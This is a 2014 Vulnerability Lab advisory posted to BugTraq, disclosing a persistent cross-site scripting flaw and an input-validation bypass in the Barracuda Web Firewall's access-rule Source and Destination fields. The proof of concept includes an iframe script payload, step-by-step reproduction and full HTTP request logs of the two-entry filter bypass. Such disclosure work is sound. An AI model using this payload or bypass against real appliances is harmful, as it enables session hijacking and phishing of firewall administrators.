BugTraq
Barracuda Networks Firewall Bug Bounty #32 - Filter Bypass & Persistent Web Vulnerabilities Feb 25 2014 11:23AM
Vulnerability Lab (research vulnerability-lab com)
Document Title:
===============
Barracuda Networks Firewall Bug Bounty #32 - Filter Bypass & Persistent Web Vulnerabilities

References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1069

Barracuda Networks Security ID (BNSEC): BNSEC-2069

Release Date:
=============
2014-02-24

Vulnerability Laboratory ID (VL-ID):
====================================
1069

Common Vulnerability Scoring System:
====================================
4

Product & Service Introduction:
===============================
The Barracuda Firewall goes beyond traditional network firewalls and UTMs by providing powerful network security, granular layer 7
application controls, user awareness and secure VPN connectivity combined with cloud-based malware protection, content filtering
and reporting. It alleviates the performance bottlenecks in Unified Threat Management (UTM) appliances through intelligent integration
of on-premise and cloud-based technologies. While the powerful on-premises appliance is optimized for tasks like packet forwarding and
routing, Intrusion Prevention (IPS), DNS/DHCP services and site-to-site connectivity; CPU intensive tasks like virus scanning, content
filtering and usage reporting benefit from the scalable performance and elasticity of the cloud.

(Copy of the Vendor Homepage: https://www.barracuda.com/products/firewall )

Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple input validation web vulnerabilities in the Barracuda Networks Web Firewall appliance application.

Vulnerability Disclosure Timeline:
==================================
2013-09-27: Researcher Notification & Coordination (Ateeq ur Rehman Khan)
2013-09-28: Vendor Notification (Barracuda Networks Security Team - Bug Bounty Program)
2013-10-03: Vendor Response/Feedback (Barracuda Networks Security Team - Bug Bounty Program)
2014-02-17: Vendor Fix/Patch (Barracuda Networks Developer Team) [Coordination: Eric ****** ]
2014-02-24: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Affected Product(s):
====================
Barracuda Networks
Product: Web Firewall 6.1.0.016 - Models: X100; X200; X300; X400 & X600

Exploitation Technique:
=======================
Remote

Severity Level:
===============
Medium

Technical Details & Description:
================================
Multiple persistent input validation vulnerabilities and a filter bypass issue has been discovered in the official Barracuda Networks Web
Firewall appliance web application. The vulnerability allows remote attackers or local low privileged application user accounts to inject
(persistent) own malicious script codes on application-side of the vulnerable module or connected module components.

The vulnerability is located in the `Firewall > Firewall Rules > Add Access Rule` module. The vulnerable input fields are
`Source` and `Destination` IP Address in the general menu. Remote attackers are able to inject custom malicious script codes
to the `Source` and `Destination` input fields as IP.

Attackers can also add new access rules into the application or edit the existing ones with their custom injected payloads.

To bypass the filter and to be able to save the injected code into the application, attacker needs to create 2 entries.
First entry should be the Attackers payload and second entry should be any dummy IP address. Application only performs
validation on the active field which is freshly added and ignores the earlier entries thus allowing successful injection
of the script code into the application.

Exploitation of the persistent bug and filter bypass issue requires a low privileged application user account and low
user interaction. Successful exploitation results in session hijacking, persistent phishing, persistent external redirects
& persistent manipulation of affected or connected module context.

Request Method(s):
[+] POST

Vulnerable Application(s):
[+] Firewall (WAF) Appliance Application (X300Vx v6.1.0.016)

Vulnerable Module(s):
[+] Firewall > Firewall Rules > Add Access Rule > General

Vulnerable Parameter(s):
[+] fw_access_rule_src_net_type
[+] fw_access_rule_dst_net_type

Proof of Concept (PoC):
=======================
The persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged web-application user account
and low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below.

Manual steps to reproduce the vulnerability:

1. Login with the user account to the barracuda networks web firewall appliance application
2. Goto Firewall > Firewall Rules > Add Access Rule > General
3. Fill the name and description with dummy data
4. Goto the IP "Source" input field, Inject the following Payload and click the + button to add.

%20"><iframe onload=prompt(/POC/) src=x></iframe>

5. You should now be able to see a javascript popup proving the existence of this vulnerability.
6. Add another entry and this time, insert a dummy IP and click the + button to add
7. In the IP "Destination" enter the same payload used above.
8. You should again see a javascript popup proving the existence of this vulnerability.
9. Add another entry and this time, insert a dummy IP and click the + button to add
10. Upon clicking save, You should now be able to Save your injected payload without any problems into the application.

POC:

IP Source:
<input class="new_button" id="add_src_inc_button" name="+" onclick="add_src_inc_pattern(1);" value="+" type="button"></td></tr>
<tr class="network"><td>"><[PERSISTENT INJECTED SCRIPT CODE!]></td><td><input class="new_button"
value="-" name="incip^"><[PERSISTENT INJECTED SCRIPT CODE!]>" type="button"></td></tr><tr class="network">
<td>127.0.0.2</td><td><input class="new_button" value="-" name="incip^127.0.0.2" type="button"></td></tr></tbody></table></td>

IP Destination:

<input disabled="" class="new_button" id="add_dst_inc_button" name="+" onclick="add_dst_inc_pattern(1);" value="+"
type="button"></td></tr><tr class="network"><td>"><iframe onload="prompt(/POC/)" src="x"></iframe></td><td><input class="new_button"
value="-" name="incip^"><[PERSISTENT INJECTED SCRIPT CODE!]>" type="button"></td></tr><tr class="network">
<td>127.0.0.5</td><td><input class="new_button" value="-" name="incip^127.0.0.5" type="button"></td></tr></tbody></table></td>

Reference(s):
https://firewall.ptest.localhost:6221/cgi-mod/index.cgi?
auth_type=Local&et=1378382541&locale=en_US&password=05e76e9aff6e382822ae
b21d3903bcde&realm=&role=&user=guest&primary_tab=FIREWALL&secondary_tab=
firewall_access_rules

--- PoC Request Session Logs ---

#1 Injecting Payload:
POST /cgi-mod/index.cgi HTTP/1.1
Host: firewall.ptest.localhost:6221
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://firewall.ptest.localhost:6221/cgi-mod/index.cgi?
password=10ee36dc6410fdaccebd0de679641b7c&et=1378385983&primary_tab=FIRE
WALL&new_secondary_tab=firewall_access_rules&
auth_type=Local&update_type=add&locale=en_US&secon
dary_tab=add_access_rule&content_only=1&user=guest&backup_life=0&ispopup
=1&parent_name=firewall_access_rules&popup_width=700&popup_height=850
Content-Length: 259
Cookie: ys-fw_custom_user_objects5=o%3Acolumns%3Da%253Ao%25253Aid%25253Dn%252525
3A1%25255Ewidth%25253Dn%2525253A150%25255Ehidden
%25253Db%2525253A1%255Eo%25253Aid
%25253Dn%2525253A2%25255Ewidth%25253Dn%2525253A150%255Eo%25253Aid%25253D
n%2525253A3%25255Ewidth%25253Dn%2525253A250%255Eo%25253Aid
%25253Dn%2525253A4%25255Ewidth
%25253Dn%2525253A200%255Eo%25253Aid%25253Dn%2525253A5%25255Ewidth%25253D
n%2525253A50
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

ajax_action=check_param_ajax_single&name=UPDATE_fw_access_rule_src_inc_s
ingle&value=%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC%2F)%20src%3Dx%3E%3C
%2Fiframe
%3E&user=guest&password=16847fb7405afa069b908f770f5ea75c&et=1378385995&l
ocale=en_US&auth_type=Local&realm=

Response:
HTTP/1.1 200 OK
Server: BarracudaFirewallHTTP 4.0
Date: Thu, 05 Sep 2013 12:43:37 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Content-Length: 166

[{"action":"error","message":"Illegal value ("><iframe ...) for <i>Source Include</i>: Invalid CIDR block","field":"UPDATE_fw_access_rule_src_inc_single"}]

#2 Inserting additional Valid dummy IP to bypass filter:

POST /cgi-mod/index.cgi HTTP/1.1
Host: firewall.ptest.localhost:6221
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://firewall.ptest.localhost:6221/cgi-mod/index.cgi?

password=10ee36dc6410fdaccebd0de679641b7c&et=1378385983&primary_tab=FIRE
WALL&new_secondary_tab=firewall_access_rules&auth_type=Local
&update_type=add&locale=en_US&secon
dary_tab=add_access_rule&content_only=1&user=guest&backup_life=0&ispopup
=1&parent_name=firewall_access_rules&popup_width=700&popup_height=850
Content-Length: 196
Cookie: ys-fw_custom_user_objects5=o%3Acolumns%3Da%253Ao%25253Aid%25253Dn%252525
3A1%25255Ewidth%25253Dn%2525253A150%25255Ehidden%25253Db
%2525253A1%255Eo%25253Aid
%25253Dn%2525253A2%25255Ewidth%25253Dn%2525253A150%255Eo%25253Aid%25253D
n%2525253A3%25255Ewidth%25253Dn%2525253A250%255Eo%25253Aid%25253Dn
%2525253A4%25255Ewidth
%25253Dn%2525253A200%255Eo%25253Aid%25253Dn%2525253A5%25255Ewidth%25253D
n%2525253A50
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

ajax_action=check_param_ajax_single&name=UPDATE_fw_access_rule_src_inc_s
ingle&value=127.0.0.1&user=guest&password=16847fb7405afa069b908f770f5ea7
5c&
et=1378385995&locale=en_US&auth_type=Local&realm=

Response:
HTTP/1.1 200 OK
Server: BarracudaFirewallHTTP 4.0
Date: Thu, 05 Sep 2013 12:46:39 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Content-Length: 2

#3 Final Save Request:

POST /cgi-mod/index.cgi HTTP/1.1
Host: firewall.ptest.localhost:6221
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://firewall.ptest.localhost:6221/cgi-mod/index.cgi?
password=2bc6bb8a9ed37744a427f8ced877e515&et=1378385551&primary_tab=FIRE
WALL&new_secondary_tab=firewall_access_rules&auth_type=
Local&update_type=add&locale=en_US&secon
dary_tab=add_access_rule&content_only=1&user=guest&backup_life=0&ispopup
=1&parent_name=firewall_access_rules&popup_width=700&popup_height=850
Content-Length: 2297
Cookie: ys-fw_custom_user_objects5=o%3Acolumns%3Da%253Ao%25253Aid%25253Dn%252525
3A1%25255Ewidth%25253Dn%2525253A150%25255Ehidden
%25253Db%2525253A1%255Eo%25253Aid
%25253Dn%2525253A2%25255Ewidth%25253Dn%2525253A150%255Eo%25253Aid%25253D
n%2525253A3%25255Ewidth%25253Dn%2525253A250%255Eo%25253Aid
%25253Dn%2525253A4%25255Ewidth
%25253Dn%2525253A200%255Eo%25253Aid%25253Dn%2525253A5%25255Ewidth%25253D
n%2525253A50
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

auth_type=Local&et=1378385566&password=279846a33c95f3c4e29d25f6f4dc1b4c&
primary_tab=FIREWALL&realm=&secondary_tab=firewall_access_rules&
user=guest&locale=en_US&popup_h
eight=850&popup_url=%2Fcgi-mod%2Findex.cgi%3Fpassword%3D2bc6bb8a9ed37744
a427f8ced877e515%26et%3D1378385551%26primary_tab%3D
FIREWALL%26new_secondary_tab
%3Dfirewall_access_rules%26auth_type%3DLocal%26update_type%3Dadd%26local
e%3Den_US%26secondary_tab%3Dadd_access_rule%26content_only%3D
1%26user%3Dguest%26backup_life
%3D0%26ispopup%3D1%26parent_name%3Dfirewall_access_rules%26popup_width%3
D700%26popup_height

%3D850&popup_width=700&UPDATE_new_fw_access_rule_readonly=no&tabs_lastta
b=tabs_tab_general&UPDATE_new_fw_access_rule_name=test&
UPDATE_new_fw_access_rule_disabled=&DEFA
ULT_new_fw_access_rule_disabled=no&UPDATE_new_fw_access_rule_desc=test&U
PDATE_new_fw_access_rule_action=Allow&
UPDATE_new_fw_access_rule_connection=Dynamic
%20SNAT&DEFAULT_new_fw_access_rule_bidirectional=no&fw_access_rule_sel_s
ervices_left_list=&UPDATE_new_fw_access_rule_sel_services=&
UPDATE_new_fw_access_rule_src_inc_te
xt=%22%3E%3Ciframe%20onload%3Dprompt(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe
%3E%2C127.0.0.1&
UPDATE_new_fw_access_rule_src_inc=incip%5E%22%3E%3Ciframe%20onload%3Dpro
mpt
(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe%3E%2Cincip%5E127.0.0.1&fw_access_ru
le_src_net_type=IP
%20Addresses&UPDATE_fw_access_rule_src_inc_single=127.0.0.1&src_nobjs_in
c=Any
&UPDATE_new_fw_access_rule_dst_inc_text=%22%3E%3Ciframe%20onload%3Dpromp
t(%2FPOC
%2F)%20src%3Dx%3E%3C%2Fiframe%3E%2C127.0.0.1&
UPDATE_new_fw_access_rule_dst_inc=incip%5E%22%3E%3Ciframe%20onload%3Dpro
mpt(%2FPOC%2F)%20src%3Dx%3E%3C%2Fiframe%3E
%2Cincip%5E127.0.0.1&fw_access_rule_dst_net_type=IP

%20Addresses&UPDATE_fw_access_rule_dst_inc_single=127.0.0.1&UPDATE_new_f
w_access_rule_bw_prio=internet&
UPDATE_new_fw_access_rule_app_policy=default&fw_access_rule_sel_
apps_left_list=&UPDATE_new_fw_access_rule_sel_apps=&fw_access_rule_sel_u
sers_left_list=&
UPDATE_new_fw_access_rule_sel_users=&UPDATE_new_fw_access_rule_time_obj=
&UPDATE
_new_fw_access_rule_iface_group=Matching&UPDATE_new_fw_access_rule_ips_p
olicy=Default&
UPDATE_new_fw_access_rule_syn_fld_protection=Outbound&UPDATE_new_fw_acce
ss_rule_m
ax_sess=0&UPDATE_new_fw_access_rule_max_sess_per_src=0&ajax_action=check
_param_ajax_full&add_fw_access_rule_name=Add

Response Headers:
HTTP/1.1 200 OK
Server: BarracudaFirewallHTTP 4.0
Date: Thu, 05 Sep 2013 12:35:32 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Content-Length: 2

Reference(s):
https://firewall.ptest.localhost:6221/cgi-mod/index.cgi

https://firewall.ptest.localhost:6221/cgi-mod/index.cgi?
auth_type=Local&et=1378382541&locale=en_US&password=05e76e9aff6e382822ae
b21d3903bcde&realm=&role=&
user=guest&primary_tab=FIREWALL&secondary_tab=firewall_access_rules

Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable fw_access_rule_src_net_type and fw_access_rule_dst_net_type values.

2014-02-17: Vendor Fix/Patch (Barracuda Networks Developer Team) [Coordination: Eric ****** ]

Security Risk:
==============
The security risk of the persistent input validation web vulnerabilities are estimated as medium.

Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ateeq ur Rehman Khan (ateeq (at) evolution-sec (dot) com [email concealed]) [www.vulnerability-lab.com]

Disclaimer & Information:
=========================
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